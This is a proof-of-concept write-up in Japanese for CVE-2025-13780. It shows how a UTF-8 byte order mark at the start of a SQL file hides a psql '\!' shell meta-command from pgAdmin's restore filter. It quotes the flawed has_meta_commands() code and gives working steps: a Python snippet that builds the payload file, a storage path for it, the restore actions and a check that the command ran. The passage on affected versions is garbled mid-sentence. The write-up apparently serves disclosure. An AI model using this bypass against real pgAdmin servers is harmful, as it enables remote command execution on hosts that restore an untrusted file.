
CVE-2025-13780の概念実証
Issue 9320 の修正の一環として pgAdmin に導入された PLAIN リストアのメタコマンドフィルタは、SQL ファイルが UTF-8 バイトオーダーマーク(EF BB BF)やその他の特殊シーケンスで始まる場合、メタコマンドを検出しません。実装されたフィルタは、正規表現を使用して生のバイトをスキャンする関数 has_meta_commands() を使用します。この正規表現はバイトを無視可能なものとして扱わないため、! などのメタコマンドは検出されないままになります。pgAdmin が psql を --file 付きで呼び出すと、psql はバイトを除去してコマンドを実行します。これにより、リストア操作中にリモートコマンド実行が発生する可能性があります。
このバイパスは、コミット 1d397395f75320ca1d4ed5e9ca721c603415e836(https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)で導入されたパッチに影響します。
影響を確認済み:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)影響を受ける可能性が高い:
1d397395f75320ca1d4ed5e9ca721c603415e836 の修正済み has_meta_commands() を含むすべてのバージョン(\restrict) で実行されるため、メタコマンドは psql 自体によってブロックされます。web/pgadmin/tools/restore/__init__.py has_meta_commands()関連コード(修正版より):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
ステップ 1: BOM とメタコマンドで始まる SQL ファイルを作成します。
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
ステップ 2: BOM を確認します:
xxd bypass_bom.sql | head -1
期待される出力:
ef bb bf 5c 21 ...
ステップ 3: ファイルを pgAdmin ストレージに配置します:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
ステップ 4: pgAdmin で: リストア -> フォーマット: PLAIN -> bypass_bom.sql を選択 -> 実行
ステップ 5: 実行を確認します:
ls /tmp/bom_ran
BOM なしの対照ファイルは正しくブロックされます。
BOM 前置ペイロード:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
対照ペイロード:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;